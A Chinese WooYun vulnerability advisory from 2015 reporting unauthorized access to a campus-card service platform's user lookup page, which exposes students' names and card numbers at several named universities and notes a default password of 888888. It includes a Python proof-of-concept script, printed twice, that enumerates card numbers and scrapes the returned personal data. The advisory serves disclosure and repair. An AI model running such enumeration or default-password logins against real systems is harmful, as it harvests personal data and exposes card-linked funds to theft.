当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0141987

漏洞标题:某校园卡电子服务平台卡号查询功能未授权访问

相关厂商:哈尔滨新中新电子股份有限公司

漏洞作者: gg_bond

提交时间:2015-09-22 16:16

修复时间:2015-11-08 17:36

公开时间:2015-11-08 17:36

漏洞类型:敏感信息泄露

危害等级:中

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-22: 细节已通知厂商并且等待厂商处理中
2015-09-24: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-10-04: 细节向核心白帽子及相关领域专家公开
2015-10-14: 细节向普通白帽子公开
2015-10-24: 细节向实习白帽子公开
2015-11-08: 细节向公众公开

简要描述:

管理员查询用户姓名、卡号的功能可未授权访问,导致攻击者可通过遍历卡号的方式获取所有用户姓名、卡号信息

详细说明:

管理员查询用户姓名、卡号的功能可未授权访问,导致攻击者可通过遍历卡号的方式获取所有用户姓名、卡号信息,关键问题是,这个校园卡服务平台的卡号默认口令为888888,部分用户可能未修改默认口令,导致攻击者获取卡号信息后,可尝试使用默认口令登录,且此平台涉及在线支付功能,与此平台可SSO登录,因此可能影响用户校园卡账户资金。
谷歌关键词:校园卡电子服务平台,可获得以下用户存在此问题。
山东大学:http://**.**.**.**/Account/SearchUserInfo
中国石油大学:http://**.**.**.**/Account/SearchUserInfo
河北工业大学:http://**.**.**.**/Account/SearchUserInfo
中国海洋大学:http://**.**.**.**/Account/SearchUserInfo
西北政法大学:http://**.**.**.**/Account/SearchUserInfo
等等等等
POC以中国石油大学为例。其他高校信息经POC测试同样有效。

# -*- coding:utf-8 -*-  
import itertools
import string
import re
import requests
import pdb
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
def getcard(): #生成用户卡号字典
chars = string.printable[:10] #0-9字符组合
for i in xrange(1,2): #定义字典位数
word = itertools.product(chars,repeat=i)
for cardid in word:
no = "".join(cardid) #生成指定位数字典
yield no

def brutecard(url,cardid): #获取用户数据
post_data = {'userinfo':cardid}
r = requests.post(url,post_data)
return r.content
def getresult(result): #解析结果
info = re.findall(r'<fieldset>.*?</fieldset>',result,re.S)
if not info:
print u'无此用户' + '\n'
else:
#print info[1]
detail = re.findall(r'<p>.*?</p>',info[1],re.S)
for i in detail:
msg = re.search(r'<label>(.*?)</label>(.*?)</p>',i,re.S)
yield msg.group(1).lstrip() + msg.group(2).lstrip()
if __name__ == '__main__':
url = 'http://**.**.**.**/Account/SearchUserInfo' #指定URL
cardno = getcard() #获取卡号
#pdb.set_trace()
for i in cardno:
print '开始获取用户' + i + '数据.......' + '\n'
res = brutecard(url,i) #尝试获取用户数据
information = getresult(res) #获取数据
for p in information:
print p


屏幕快照 2015-09-18 下午3.53.34.png


使用弱口令登录查询到的用户

屏幕快照 2015-09-18 下午3.56.30.png

漏洞证明:

屏幕快照 2015-09-18 下午3.53.34.png


屏幕快照 2015-09-18 下午3.56.30.png


# -*- coding:utf-8 -*-  
import itertools
import string
import re
import requests
import pdb
import sys
reload(sys)
sys.setdefaultencoding("utf-8")
def getcard(): #生成用户卡号字典
chars = string.printable[:10] #0-9字符组合
for i in xrange(1,2): #定义字典位数
word = itertools.product(chars,repeat=i)
for cardid in word:
no = "".join(cardid) #生成指定位数字典
yield no

def brutecard(url,cardid): #获取用户数据
post_data = {'userinfo':cardid}
r = requests.post(url,post_data)
return r.content
def getresult(result): #解析结果
info = re.findall(r'<fieldset>.*?</fieldset>',result,re.S)
if not info:
print u'无此用户' + '\n'
else:
#print info[1]
detail = re.findall(r'<p>.*?</p>',info[1],re.S)
for i in detail:
msg = re.search(r'<label>(.*?)</label>(.*?)</p>',i,re.S)
yield msg.group(1).lstrip() + msg.group(2).lstrip()
if __name__ == '__main__':
url = 'http://**.**.**.**/Account/SearchUserInfo' #指定URL
cardno = getcard() #获取卡号
#pdb.set_trace()
for i in cardno:
print '开始获取用户' + i + '数据.......' + '\n'
res = brutecard(url,i) #尝试获取用户数据
information = getresult(res) #获取数据
for p in information:
print p

修复方案:

访问控制,严格授权

版权声明:转载请注明来源 gg_bond@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-24 17:36

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给赛尔网络,由其后续协调网站管理单位处置。

最新状态:

暂无